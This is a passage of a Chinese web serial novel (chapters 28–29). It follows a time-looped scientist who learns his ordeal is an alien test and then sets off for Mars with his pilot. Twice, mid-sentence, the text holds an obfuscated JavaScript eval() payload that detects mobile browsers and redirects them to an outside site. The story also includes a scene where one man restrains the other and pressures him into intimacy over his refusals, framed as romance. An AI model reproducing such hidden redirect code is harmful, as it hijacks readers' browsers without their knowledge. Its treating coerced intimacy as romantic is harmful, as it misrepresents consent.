这里由三块完整的盆骨拼接而成,边缘处一根折断的肋骨斜插出来,像原始图腾; 他在平台中央站定,调出建模工具。 他想为这座山立碑。 这骨骼要与其他不同。它不发光,呈现哑光的灰白,表面布满细密裂纹,像历经风化的古石;它缓慢降落在平台中央竖立起来,虚拟墓碑在他面前凝聚成形。黑色玄武岩材质,表面光滑如镜,映出他自身的影像:一个穿着实验室白袍的男人,面容模糊,只有眼睛清晰、眼里有山,山里有更多眼睛,层层嵌套。 碑无字。 碑文该写什么?名字?循环次数?还是悼词? 祝觉明伸手触碰碑面。冰冷粗糙,质感真实得不像虚拟造物;他的手指划过那些裂纹,裂纹深处透出极微弱的暖意,像还有余温在石头里流淌。 他忽然想起佛教典故里关于毗富罗山的描述:惩罚的象征,觉悟的阶梯;堆积如山的白骨,每一具都代表一次轮回,一次尝试,一次未能超脱的执念。 而山的顶峰,本该空无一物。 空。 他低头看自己正在建山的双手。数据流从指间涌出,编织出更多骨骼,让山体继续长高;这个过程他已经重复太久,久到忘记最初为何开始。 是为了纪念陈启?为了记录循环?还是为了证明自己至少还能做点什么,在这无尽的重复里留下痕迹? 碑面就在这时浮现文字。 不由他输入,它自行生成,笔画深刻如凿刻: 汝见白骨如山。 可知白骨为何人骨。 祝觉明凝视这行字。 问题简单,答案却让他自惭形愧; 他当然知道是他同伴们的骨头,九百六十三万次死亡,九百六十三万具骸骨……但这答案似乎太浅。 虚拟空间就在此震颤。 整个数据结构如地震共振,骨骼山体开始光色同步闪烁,频率与祝觉明的心跳趋同;墓碑表面浮现裂纹,蔓延成复杂的几何图案。图案中心聂谊生的全息影像显现,他穿着联合政府制服,但款式与现实中不同: 立领更高,肩线更锐利,面料呈现非自然的哑光,像吸收了所有照射其上的光线。 他站在墓碑前,与祝觉明对视,表情平静得如同在看一个预期中的实验结果。 “九百六十三万次循环,” 聂谊生开口,声音直接在祝觉明的意识中响起,绕过所有听觉系统。 “你终于建起了这座山。” 祝觉明没有回答。他观察影像的细节:聂谊生的眼角比记忆中多了一道细纹,鬓角全白,但站姿依旧笔直;他的眼睛是普通的深棕色,虹膜里没有代码流动,也没有观测者的几何图案。 他看起来就是个普通人,一个疲惫的高层官员。 祝觉明不想理会他,调取骨骼的原始数据深入溯源。每块骨头对应一次死亡记录,记录里包含时间、地点、死因、能量峰值…… 他继续深入,穿透数据表层,进入生成算法的底层逻辑。 在那里他看见别的。 每块骨头的编码深处,都嵌套着一层隐形标记;内容不是任何人,是他自己——祝觉明。 每次循环中的他做出决定时的神经活动模式、计算失误时的认知偏差、目睹死亡时的情绪波动频谱…… 这些都被记录下来,转化为骨骼的微观结构。 白骨山是他的山。 九百六十三万次选择,九百六十三万次错误,九百六十三万次目睹死亡却无能为力的自己,堆成了这座山。 “你知道,”聂谊生微笑,“它为什么叫毗富罗山吗?” 祝觉明想过这个问题。在典故中毗富罗山是白骨堆积之山,象征轮回的沉重与业力的累积。他想说因为我的筹谋、痛苦、错谬终于堆积如山。 但话到嘴边,他改了答案: “因为山是测试的一部分。” 聂谊生微微点头,显然对这个答案很是满意。 “接近了,但不完全。你能看见我,说明你已经触及觉明的边界;观测者设定的认知阈值,你跨过去了。” “你是观测者?” “我是翻译器。” 聂谊生抬手,掌心向上。 28. 他的油条同事终于辞职了 一个复杂的多维结构在他手中展开,像一朵不断生长的水晶花。 “你们与观测者之间的界面。人类语言里,可以叫我界面者。” “你一直在这里?” “一直在数据层,在协议的缝隙里,在每次循环的重置指令中。”聂谊生收起手掌,水晶花坍缩成一点光、消失,“我观察你九百六十三万次尝试,记录你每次调整、计算你每次失败后的情绪熵变。你的韧性超预期,祝觉明。观测者最初估计,你在十万次循环内就会崩溃,或接受现实。” “接受什么现实?” “接受陈启必须死,怀从咎必须痛苦,你必须计算这一切的现实。”聂谊生的影像开始波动,边缘出现像素噪点,“这是过滤测试的固定模块。每个接受测试的文明,都要在虚拟时空中经历类似的抉择:个体价值与整体存续,情感连接与理性计算,自由意志与宿命必然。你们的表现……算中等偏上。” 祝觉明感到一阵荒谬的笑意在胸腔里冲撞。他想笑,但面部肌肉已经忘记如何做出那个表情;九百六十三万次死亡,九百六十三万次失败,换来的评价是“中等偏上”。 这就是他的努力、他的坚持。 这就是他一次又一次的努力。 当数字太过于庞大,就会显得没有一点意义。 “测试标准是什么?” “生存,还有选择。”聂谊生的影像更模糊了,声音开始断续,“观测者不关心文明能否存活,关心的是面临绝境时,你们会做出怎样的选择。是相互牺牲,还是相互背叛?是坚守道德,还是抛弃一切?是拥抱爱,还是屈服于恨?” “那我们的选择呢?” “你们的选择很均衡。”影像几乎透明了,只剩轮廓,“怀从咎倾向于保护个体,你倾向于保全整体;苏持风在动摇,郭山错在固化。这种均衡让测试延长了,因为观测者想看看,均衡最终会倒向哪边。” “然后呢?” “然后时间到了。”聂谊生最后的轮廓也在消散,“找到我。在真实时间线里我正看着你们。但不在你们以为的地方。” “等等——” “墓碑上的偈语,是你自己选的,还是系统提示的?” “我自己。” 聂谊生笑了,那笑容短暂如刀锋反光。 “有趣。那可能是变量。” 影像彻底消失。 虚拟空间恢复原状,骨骼山静默矗立,墓碑上偈语文字微微发光;祝觉明站在原地,感受着意识深处涌起的变化,顿悟与启示终于带来细微的认知偏移,像久处暗室后突然看见窗缝透进的一线光。 碑面文字变化: “既知是己骨, 为何继续堆砌?” 祝觉明没有回答。 他抬手,写下一行字。 “以无我、无人、无众生、无寿者,修一切善法。” 他选它不是因为信仰,是因为这句话的悖论:既要超越所有相,又要践行所有善;就像他的处境:既要跳出循环的囚笼,又要在囚笼内寻找出路。 他关闭虚拟空间回到实验室。数据屏亮着,模型在自动运行,变数自主性权重的数值停在百分之三点七、指向怀从咎。 这个参数仍在缓慢增长,像冻土下的种子在持续顶撞。 它从未出现在他的原始模型中,它是自己生成的,像生物体在环境中突变出的新器官;祝觉明追溯它的诞生时间:就在他建立白骨山、与聂谊生对话期间。 他盯着那个数值。 权重代表怀从咎的决策在多大程度上能脱离既定轨迹。之前的循环中,这个值始终为零。怀从咎看似自由的选择,其实都在模型预测范围内;是变量,但不是变数。 而现在,它开始爬升。 百分之零点三,百分之零点七,百分之一点二…… 缓慢但持续。 祝觉明靠进椅背双手交叠。这个动作他做了九百六十三万次,每次都在计算后,每次都在失败前;但这一次,他什么也没算。他只是坐着,看着参数数值缓慢增长、像看着一颗种子在冻土下试图顶出嫩芽。 他第一次意识到:破局可能需要放弃控制。 放弃用计算去控制一切。 允许变数存在、允许轨道偏移,允许事情脱离模型预测,走向未知的方向。 这个念头让他恐惧。 如冷水浸透脊椎。 他的整个存在建立在控制之上——控制数据,控制模型,控制变量,控制情绪; 失去控制,等于失去自我定义。 但控制已经失败了九百六十三万次。 门外传来脚步声。很轻很犹豫,停在门外三秒,尔后似乎终于鼓起勇气敲门;祝觉明没有应声,门自动滑开——他有最高权限,门禁系统默认放行。 苏持风站在门口。 她没有穿监察长制服,换了便装。深灰色毛衣,头发松散束在脑后,是他极少见过的模样。 她手里拿着一份纸质文件,这在数字化的基地里很罕见。 “博士,”她走进来,关门,“有时间吗?” 祝觉明点头,示意她坐。苏持风没有坐,她走到舷窗前,背对他站了一会儿,尔后转身将文件放在桌上。 《近日点号任务人员筛选记录(最终版)》。 “我复查了筛选流程。”苏持风声音轻轻的,“理论上所有参与者的选择都是随机的,基于基因适配度、心理评估、专业技能等多重因素加权计算。” 但我调取了计算日志,发现…… 她停住。 祝觉明等她说完。 “发现权重的设置有人工调整痕迹。”苏持风看着他的眼睛,“陈启的基因标记被额外加了十五个权重点,怀从咎的心理韧性评分被下调了百分之二十;调整时间在筛选开始前七小时,操作者权限代码是聂谊生长官。” 她抬头看祝觉明,眼睛里有什么东西在碎裂。 “这份牺牲名单……真的是随机的吗?” 祝觉明没有回答。 他知道答案,但说出答案意味着承认苏持风也在这局棋里,承认她的职业、她的原则、她这些年相信的一切…… 都建立在精心设计的谎言上。 苏持风也不需要他回答。 她拿起文件慢慢撕开。纸张撕裂的声音在寂静的实验室里异常清晰,像离开前的仪式;她将碎片扔进回收口,拍了拍手。 “我申请调离监察岗位。”她微微躬身,“以心理压力过大为由。报告已经提交,聂长官批了。” “然后呢?” “然后我会以普通技术员身份,申请加入近日点号的地面支援组。” 苏持风笑了,那笑容疲惫但清醒。 “如果在棋盘上逃不掉,至少让我看清楚棋手的手。” 祝觉明看着她。 这个一向谨慎、永远合规的女,此刻站在他面前,亲手撕碎了职业生涯的基石,选择了一条更危险的路。 这不是计算的结果,这是人的选择。 是变数。 那个自己曾经苦中作乐,在无数次循环中看一眼啊还在和自己一起逃不了的油条同事,终于辞职了。 ……可他呢。 他逃不了。 有一轮风在他心底碎裂,继郭山错崩一轮土之后、继陈启焚尽一轮火后,他终于走到了轮回的尽头。 “祝博士,”苏持风走向门口,终于还是忍不住回了头,“有句话我一直想说。” 祝觉明抬头看着她。 “您太累了。灵魂被数据腌渍得太久,快尝不出人味了。” “希望下一次再与您合作,我见到的是作为人的你。” 她离开。 实验室重归寂静。 祝觉明坐在椅子上,没有任何情绪,心如死灰。 他似乎该落下一滴泪,浸透满身苍白,直抵信念万籁俱寂之时。 他没有那样令人惊艳的才能,没有令人叹服的成就;他从来籍籍无名,以为能杀出一片天地,却最终还是心灰意冷、没于尘埃。 他从来就不为人所知。 他茫然的调出怀从咎的实时监控,此时人在宿舍,没开灯,坐在床沿;监控没有音频,但祝觉明读得懂唇语。 怀从咎在低声说话,对着那个结: “……这次我记住了。” 他在记忆祝觉明。 记忆那些循环残留的痕迹、那些祝觉明自己都没注意到的习惯;他在收集证据,证明时间在重复,证明他们都在循环里。 然后他抬头,看向监控镜头的方向: “博士,我受够了躲藏。下次循环,我们当面谈。” 询问,宣告,对峙。 如同第一次他们在太阳之前离成功一步之遥。 那是他在寂静中离不被打扰最近的一次。 ……他终于要结束这颠沛流离的缭乱荒芜了吗? 他终于能好好静下心来,完成他想做的事了吗? 等一切尘埃落定,等他不再一遍遍重复那些困住他的岁月; 等他终于离开苦难,等他活到自己心愿实现之时。 可他无比苦涩的明白,他到死也不过是想家园安定,好好过日子;但现实是穷困潦倒病骨支离,他没说,不代表他不疲惫。 他真的厌烦了,也真的受够了。 他自己就是模糊的白骨山啊。 祝觉明关闭监控,调出变数自主性权重的实时曲线。 在怀从咎说完那句话后,数值跳升了百分之二。 他站起来走到舷窗前。窗外地球正在转入白昼,晨光在大气层边缘燃起金红色的弧、近日点号在船坞中静默,像等待被唤醒的希冀,虚无缥缈又嘲笑着他的不自量力。它等待载着他们飞向太阳,飞向下一次死亡、下一次重置。 但他看见了别的东西。 门口再次传来脚步声。 这次不是苏持风。脚步更重,步幅更大,靴底敲击金属地板的节奏里韵律决断;门滑开前,祝觉明已经知道是谁。 怀从咎走进来。 他没穿飞行服,只着基地通用的深蓝工装,袖子挽到肘部,手里没拿东西,空着双手像来聊天。 “博士。”他停在桌前,两人之间隔着一张桌子的宽度,“上次循环,你在模拟训练场对我说这次陈启不会去维修管道。当时会议还没开,任务还没定,陈启的岗位分配表还在苏持风桌上。” 祝觉明麻木的抬眼。 “上上次循环,郭山错锁定我逃生舱前七分钟,你发来一条加密讯息,写着右舷窗下阀门转三圈。那条讯息在系统日志里没有记录,像从未存在。” 怀从咎向前一步,手撑在桌沿,身体微微前倾。 “上上上次,火星基地回忆场景加载时,你对着空气说这段记忆被编辑过。当时监控显示你在自言自语。” 他逼近,捏起祝觉明的下颌。 “需要我继续列举吗?还是说博士你终于愿意承认,我们困在同一个循环里?” 实验室静默。祝觉明看着怀从咎的眼睛,那双眼睛里没有愤怒与质问,像长途跋涉者终于看见目的地轮廓,尽管那可能是海市蜃楼。 “九百六十三万次。”祝觉明开口,声音比自己预想的平静,“这是我经历的循环次数。陈启死了九百六十三万次,方式各不相同。我尝试过所有科学方法,调整参数,改变航线,提前排除故障,禁止他参与,说服你放弃……全部失败。” 怀从咎的表情没有任何变化。 “每次失败,系统重置;我回到起点,再来一次。你们大多数人没有记忆,或只有碎片。苏持风开始察觉,郭山错被程序渗透,聂谊生是观测者的界面者。而我们,”祝觉明摘下眼镜,用衣角擦拭镜片,“我们是测试样本,在模拟中重复抉择,让高等文明评估人类是否值得存续。” “评估标准是什么?” “我们的选择。面临绝境时,倾向保护个体还是整体,坚持道德还是抛弃它,选择爱还是恨。”祝觉明重新戴上眼镜,“我们表现均衡,所以测试延长,观测者想看看均衡最终倒向哪边。” 怀从咎直身。他在实验室里踱步,像在消化信息;走到舷窗前,他停下,看着窗外悬吊的近日点号。 “所以陈启必须死?” “在当前的测试框架里是的。他是催化剂,用死亡激发你的情感共振,产生观测者需要的能量数据。” “如果我不让他死呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174333|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你会死。或我死。或我们一起死。然后循环重启,换种方式,他依然会死。”祝觉明调出白骨山的缩略图,投射在空中,“我建了这座山,每一块骨头代表他的一次死亡。后来我发现,那也是我的骨头。九百六十三万次错误选择堆积而成。” 怀从咎转身,目光落在白骨山上。 他看了很久,久到投影因节能设定开始变暗。 “所以你的结论是?”他哑声,“博士。” “我的结论,”祝觉明指向变数自主性权重的数值,“是这个参数在增长。它代表你的决策在脱离我的计算,脱离系统的预测。你开始成为真正的变数。” “变数能改变什么?” “不知道。”祝觉明很诚实,“我的模型算不到那么远。但这是九百六十三万次循环里,第一次出现模型无法涵盖的变量。” 怀从咎走回桌前。他拉过椅子坐下,与祝觉明隔桌相对;姿态放松像在聊天,但眼睛里那簇光越来越亮。 “我梦见很多次,”他张开双臂,示意祝觉明走过来,“梦见我们俩一起冲向太阳。有时是你拉着我,有时是我拖着你。在梦里,那感觉不像自杀,像回家;像那里有什么东西在等我们,像我们可以一起去往一个未来。” 在虚拟空间的白骨山顶,那座墓碑上的偈语此刻在他意识中回响;以无我、无人、无众生、无寿者,修一切善法。 无我。 消灭自我,放下对控制的执着。 无人。 漠视他人,看清每个人都在各自的牢笼里。 无众生。 抛弃责任,理解文明本就是无数个体的总和。 无寿者。 否定时间,跳出循环的线性视角。 修一切善法。 遵守规则,也在规则之外寻找真实的善。 祝觉明抬起左手看着无名指上的戒指。戒面平静,没有代码流动,没有温度变化; 它现在只是一个戒指,一块金属,一个象征。 “聂谊生给我留下了坐标。火星基地旧址,第三储藏舱,第七柜下层。他说在真实时间线里,他正在那里看着我们。”祝觉明调出坐标信息,“我想去。” “现在?” “这次循环。不按任务流程,不向任何人报告,借用一艘巡查艇,七十二小时往返。”祝觉明调出航行计划,数据在空中展开,“风险很高。可能触发系统干预,可能被聂谊生预设的防御机制阻止,可能刚出发就被重置。” “也可能找到答案。”怀从咎笑了,把他抱到怀里,“听我说。” 两人对视。 祝觉明慢慢转动戒指。 金属摩擦皮肤,带来细微的触感;他继续转,一圈,两圈,三圈…… 尔后他停下,握住戒指、用力。 戒面裂开。 内部锁扣被触发,铂金外壳如花瓣展开,露出里面的微型结构:芯片与电路凝为一枚极小的透明晶体,内部有光在缓慢流动,像被封存的星云。 晶体投射出一行字,悬浮在空气中: 坐标已解锁。 实验室的照明系统自动调暗,进入夜间模式;阴影从墙角蔓延开来,爬上数据屏边缘,爬上祝觉明的侧脸,爬上怀从咎环着他的手腕。 寂静浓稠,只有彼此呼吸声清晰可辨。 真实时间线锚点:火星基地旧址,第三储藏舱,第七柜,下层。 聂谊生留下的信息。 “我跟你去。”怀从咎埋到祝觉明小腹,“九百六十万次循环,有没有哪一次我与你一同作战?” 有。 可每一条线都不一样,他现在甚至怀念最初始那条线的怀从咎。 那是还没被打扰之前最纯净的怀从咎。 他一直想问这个人,既然你如此在意陈启,那么我救下他,你与他回去,不就好了? 你是无辜的,你们是无辜的。 该去死的从一开始就只有我一个。 可怀从咎那样眼睛亮亮的看着他,他忽然说不出口自己如此龊龌的想法,毕竟自己现在已经无法回头。 他已经分不清执念还是任务了。 千万次轮回中他遇见过无数怀从咎,没有一次,他敢靠近,生出不该有的心; 可不代表认识那么多怀从咎之后,他就没有过自己喜欢的。 ……你也是千万次轮回试怎样的自己会被我喜欢吗? 不,那怎么可能。 我们的使命是拯救地球,重建家园。 祝觉明几乎仓惶的挣开怀从咎,为了让自己看起来很忙于是合拢戒指,外壳恢复原状、裂纹消失如从未存在。他转身走回数据终端,调出火星基地的当前状态报告。 基地在三年前事故后废弃,但核心结构完好,定期有机器人巡检;第三储藏舱存放着当年竞赛的遗留物——损坏的设备,未完成的项目资料,以及一些私人物品。 第七柜,下层。 他调取该柜的扫描记录。最后一次巡检是七十二小时前,柜内物品清单包括:三套破损的宇航服,五块数据板(已损坏),一盒手工工具,以及一个未标记的金属盒。 金属盒的材质分析显示:与聂谊生影像中展开的水晶花同源。 祝觉明保存坐标,清除访问记录。 他坐下来,这一次他不计算成功率,不模拟可能的风险,不规划每一步的应对方案;他只是坐着、呼吸,让信息沉淀,让那个刚刚诞生的念头在意识里扎根: 去火星。 没有犹豫,没有条件,简单三个字;祝觉明感到胸腔里有什么东西松动了一下,像锈死的齿轮被强行扳动,发出刺耳活泛的声响。 带怀从咎一起去。 找到那个盒子。 看看真实时间线里究竟埋着什么。 窗外,太阳从地球边缘升起,光芒刺破黑暗,泼洒在近日点号的银白舰身上;船体反射出炽烈的光,像一枚被点亮的火炬,等待着,等待着被投掷向更巨大的火焰。 “理由?”他还是问了怀从咎,“打申请。” “你需要一个飞行员。”怀从咎笑了,那笑容短暂但真实,“而且,如果这真是最后一次机会,我不想再隔着数据屏看你计算我的死亡。” 29. 君子论迹不论心 祝觉明关闭所有虚拟界面。数据流消失,假的日出也消失;实验室沉入更深的昏暗,只有舷窗外地球的微光透进来,在地板上铺开一片淡蓝的冷辉。 他却仿佛在光中坐着,面容平静,眼底深处那簇坚持了九百六十三万次的信念之火,第一次微微摇曳。 他从不动摇。 他准备迎风。 “好,”他笑了一下,开始收拾用品:便携终端,解密工具,聂谊生戒指里取出的晶体,还有一管高浓度营养剂——火星基地已废弃,没有补给,“你也一起吧。” 动作有条不紊,每件物品放置的位置都经过计算、以最大化利用随身空间。 怀从咎看着他收拾,忽然开口: “博士,你相信我们真能改变什么吗?” 祝觉明拉上背包拉链,金属齿咬合的声音清脆。 “我相信数据。变数自主性权重在增长,这是客观事实。而客观事实,”他背起背包以调整肩带,“是唯一值得相信的东西。” “那你相信我吗?” 问题悬在空中。祝觉明转身面对怀从咎,昏暗光线下,这男人的轮廓有些模糊,只有锁骨下那道灼痕在微微发亮,像暗夜里的航标。 “我相信,”祝觉明缓缓开口,“九百六十三万次循环里,每一次我想要放弃时,都是你的反应——一句话,一个眼神,一次毫无理由的坚持——让我继续计算下去。这可能是程序设定,可能是观测者的安排;但既然我无法证伪,我就选择当作真实。” 怀从咎点点头,没再说话。 他夺过怀从咎收拾好的包自己背上,站起来走向门口,在感应区停顿,等祝觉明跟上。 “博士,既然你相信我,那么跟我来吧。” 祝觉明看着他晦暗不明的眼神,主动跟上他,两人一前一后走出实验室;走廊感应灯逐盏亮起,为他们铺出一条光之路、又逐盏熄灭在身后,像在抹去足迹。他们经过苏持风的监察室,门缝下透出微光;她还在最后的工作交接、经过郭山错的办公室时门紧闭,但门缝里飘出 SYN-LUB-07 枪油的淡涩气味。 他们一同走过不一样的循环。 好像在某一次经过近日点号所在的船坞时怀从咎会停下,仰头看那艘船;银白舰身在坞灯下泛着冷硬光泽,像一柄已出鞘半寸的刀。 “会回来的。”祝觉明闭上眼,“这次一定。” “我知道。”怀从咎收回目光,“只是跟它道个别。毕竟开过那么多次。” 他们继续走,穿过员工休息区,穿过仓储区、抵达港口边缘的小型艇库;这里存放着十艘巡查艇,用于轨道巡检和紧急救援。 好像某一次祝觉明调出权限,解锁第七号艇的舱门。 气密门滑开时,怀从咎忽然按住他的手臂。 “博士,如果这次还是失败,如果循环继续……”他停顿,寻找措辞,“下次你会记得我吗?像我记得你那样?” 祝觉明看着他的手,最终拂开了。 “系统在变化。”他笑了一下,“聂谊生现身,参数自主生成,你的记忆越来越完整……这些迹象表明,循环的隔离正在失效。所以,也许没有下次了。” 也许这就是最后一次。 “最后。”怀从咎重复这个词,像在品尝味道;尔后他松开手,率先登上巡查艇,“那就让最后值得记住。” 祝觉明跟随登艇。舱门闭合,气压平衡,系统自检灯光逐一亮起;怀从咎坐进驾驶位,手指划过控制面板,启动引擎预热。 低沉的震动从艇身传来,祝觉明在副驾坐下,调出航线图;地球在下方旋转,火星在远方等待,两者之间是六千万公里的虚空。 他将坐标输入导航系统,路线生成、一条淡蓝色的弧线连接起点与终点。 “航程五十一小时。”他吹了个口哨,“足够聊很多次天了。” 怀从咎推动操纵杆,巡查艇滑出艇库,进入无垠的黑暗;地球在后方迅速缩小,变成一颗悬挂在墨色绒布上的蓝白琉璃珠,精致而易碎。 艇内照明调至最低,只剩仪表盘的微光映着两人的脸。怀从咎专注驾驶,祝觉明监测各项数据;沉默在蔓延,但并不压抑,像默契的休战。 不,并没有。 因为怀从咎松开安全带站起来,又过来摁开祝觉明的安全带。 “你过来,”他一手摁去舱内监控一手把人抱起来,转身搁上宽大的操控台中间,“我有话同你讲。” “什么,”祝觉明想推开他,但自己的身体已经在无数奔波中腐朽、何况他本来也打不过这个兵痞子,“有话好好讲。” “九百六十万次轮回里我有这样冒犯过你吗,”怀从咎点点头,略一屈膝把他拽下来转身往角落上车床上放;那是他们平时摆放工具、数据板、文件的,也用来暂做暂做休息,“你想过我会这样不管不顾一次吗?” “你别逼我弄死你然后重开。”祝觉明哑声,“撒开我。” “我不,”怀从咎笑了,反而强硬的将人手腕擒住、越过头顶压实,“下一次你会去哪个时间线呢,我还会见到你么?” 祝觉明无言以对。 他也说不清每一次重开他是占了这个时间线的自己、还是真实的自己被一次次重启;说不清下一次的怀从咎究竟会有怎样的不同,事实上他不止一次见过各种不是人的怀从咎,譬如对自己有想法的、对陈启有想法的、对同事有想法的…… 没有人规定飞行员不能有私人情感,这本就有违伦理。 怀从咎也没想要他答案,只要自己仿佛攥取到猎物般欣赏的看着祝觉明,看着那没有任何的神色和紧抿着一言不发的唇,仿佛今天即使是上刑也不能从这人口中得到一字答案。 “九百六十万次可能,我一定说过你很好看,”怀从咎自言自语的一手还给人摁着而另一只手以前二指指尖缓缓抚过人脸侧,小指顺手勾下了人眼镜折好、放在一边,“963258741次循环,这次是多余的1。” 仿佛轮晷时分秒针在此咔一次吻合,我打不死我的哭泣,浑然不觉没有你的注视我走不到今时今日。 如果你没有看着我,那我会在哪一个时间点彻底离开呢? 祝觉明颤抖了两下,卸力放弃了抵抗。 “你别这么慷慨就义的不看我,”怀从咎诧异,“我还没问你,如果我是最开始的那个我,你想对我说什么?” 祝觉明沉默的偏着头,只是眼角滚下一滴泪,又被他自己咬着下唇想狼狈的憋回去。 “你搞的像我欺负你,”怀从咎笑了,“你这是什么反应?像个被端上桌的蛋糕先挣扎两下?” 祝觉明:…… 他很想踹怀从咎一脚。 “看来没有一个时间点的我告诉过你,”怀从咎轻轻掰开他膝盖好让自己有地方站、他也不至于躺的太扭曲,“我一直都在,我随着你的轮回跟着你抵达每一个时间线与我自己共存;在毁灭之后我笑着挥手离开,和你一起被投放到下一个可能性。” 祝觉明浑然没发现他们现在的距离很危险,在过去的无数次中,这个造型往往是怀从咎又要弄死他。 他确实死在过这人的枪下、机械下、工具下……,他们一起死在过训练场上、真空中、宇宙里…… 太多太多次。 “我知道第7325698次轮回中我第一次见到主动平乱的你,仿佛你成了武官,给你一把枪就能领军作战;我知道第32569874次轮回里你悄悄吻了我的眼角,你以为我不知道、对没错那时候我已经死了,但我没有离开,我在等你一起走……” 怀从咎开始给他复盘,给他讲那些他一路走来他们一路走来,讲那些既然已经没有明天那就在此时此刻说尽的话。 “我知道你是在意陈启,所以我没有一次敢对你说这些。” 祝觉明:? “我以为你在意陈启,”他打断怀从咎,“我为什么要在意一个小孩?我在意的是你想和他一起回家,好不好。” “那是因为我确实和他认识的太早了,早到曾经我们还朦朦胧胧刚进入悸动的青春期;”怀从咎现在嘴一张也不知道真话假话了反正就是讲,“但那是在知晓你之前,博士。” “……”祝觉明避开他如灼如烙的目光,还是想把他拨开,“你不要闹。我去看一下航行程序。” “自动驾驶两个小时内不是问题,”怀从咎一把给他捉回去,“你不觉得我再不做点什么对不起你一次次为我轮回,我觉得。” “?”祝觉明敏感的意识到这次怀从咎可能不是要杀了自己,想起身逃跑但为时已晚;祝觉明掐着他腰拽住他、轻而易举的将他制服,笑着凑到他耳边: “博士,你有时候真的很聪明,但有时候不善解人心。” “你像那庙堂上的菩萨,慈眉善目,偏无回应。” “你哪学的荤话!”这次祝觉明是真想反抗,“不,怀从咎你怎么突然这样了,你对同事……你对同事会……放开我!” “你再多讲一句我现在把监控打开给你叫。”怀从咎威胁他,“或者你不爱我,你确实只是把我当同事,你承认吗?” “……”祝觉明缄口不言了。陈启在这个时间线已经死了,郭山错不站在他们这里;帮他的苏持风已经辞职,他可悲的发现自己真是叫天天不应叫地地不灵,“怀从咎……” “那么你承认自己不在意我吗?”怀从咎还在循循善诱,“或者,好菩萨,你施舍一下我?” “太油腻了吧!”祝觉明也是服了,“你是文盲?这话说出口够把你辞职一降到底,不尊重联合组织宗教信仰是违……” “那么你同意我不把你当做神明了,”怀从咎打断他,“我是不是可以认为,你同意以爱人的身份,至少在这条时间线上用你和我,在毁灭之前最后一次血脉相融?” 祝觉明觉得自己真是秀才遇到兵有理讲不清。 他其实是那种很漂亮的长相,轮廓明晰、肤色浅白如洗;一双眼睛看人的目光里总那样悲悯,让怀从咎不明白他究竟底线低到何处。 自己究竟要对他做什么,他才会拒绝? “千万次轮回,无数载回溯,”怀从咎叹了口气,“我想明白了,我们可以不相爱,不妨碍我逾矩。反正重启之后,一切不复存在。” 祝觉明真的没招了。 “你根本没给我拒绝的余地吧,”他环顾四周,“你不会要……” “祝博士心率异常突发状况,我申请离岗陪他去休息室三个小时,请ai接管航行。”怀从咎把胸前兜里通讯仪拨到林静渊的频道,“好了。我们走吧。” 祝觉明看着他的眼睛,终究是妥协了。 “行,有话我们慢慢讲。” 我认识你其实也在很早之前了,那时山脉尚未相连、星辰尚未辗转,你我仍是两粒原子在寂静虚空中牵手合十、面对面闭眼祷念。 后来世界上有了日月,华表耸起撑覆沧海桑田;天际与地平交错蜿蜒,时间驶向江河奔流的峰谷之间、我们回头是人类直立起来看向星轨,向前是昏晓双阳平分长夜余火与白明晴风。你从死寂中向我垂下恻隐,在我荒芜缭乱的生命中投下纷飞喧嚣的翩跹;这就是你敲破的默静,我将其刻在石碑上、怀入凉壁里。 直到我们拥抱着化为骨骸,直到我们灰飞烟灭皮之不存;直到这兴衰更迭的地球轰然炸成满天碎屑的岩原,直到空洞重新让原本翔实的永生再度虚无。亲爱的,那我要说,血流成河洗不去我重若千钧的执着,雷光飓风透彻千万个世纪,不妨碍我一回回身入罪孽。我的局就以你为阵眼息息相关,你看见云雾飘渺湖海细分,那是我将自身劈为千万缕萦绕着你、直到我看见你安详的栖息。 这就是我一直在执着追寻的。 我与我自己寸步不离,我与你,两不相异。 三小时后,他们穿越地球磁场边界;舷窗外星空变得锐利清晰,银河如一把撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174334|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落的钻石,璀璨得令人窒息。 怀从咎忽然开口,声音很轻: “博士,你说白骨山是你的山。那我的山在哪里?” 祝觉明转头看他。怀从咎仍盯着前方星空,侧脸线条在微光里显得那样坚硬,但眼睛深处有什么东西在流动、像冰层下的暗河。 “你可能没有山。”祝觉明摇头,“山是执念堆积而成。你每次循环都在尝试拯救,在反抗,在保护。你没有重复错误,你在重复努力。而努力……” “——不形成山,形成路。” “路通往哪里?” “不知道。但至少不在原地。” 怀从咎笑了,那笑容很淡,几乎看不见,但祝觉明捕捉到了。他转回头继续监测数据,发现变数自主性权重又上升了百分之零点五。 艇身微微震动,进入预定轨道。火星在前方显现,起初只是个暗红色的点,逐渐膨胀成一轮锈红的圆盘。 祝觉明调出基地结构图,锁定第三储藏舱的位置。 还有四十七小时。 时间足够他再计算一万次可能,再模拟一千种风险,再规划一百条应急方案;但他关闭了数据屏,靠在椅背上,闭上眼。 这次,他选择只是等待。 等待航程结束,等待踏上火星的土地、等待打开第七柜的下层,等待看见聂谊生留下的真实之物。 等待一个,他未曾计算过的未来。 舷窗外,星辰如恒河沙数,寂静流转。巡查艇在这无垠黑暗中航行,像一粒微尘,载着两个困在循环里太久的人、载着一座白骨山的重量、载着一点刚刚萌芽的可能性。 朝火星飞去。 ——— 祝觉明睁开眼。 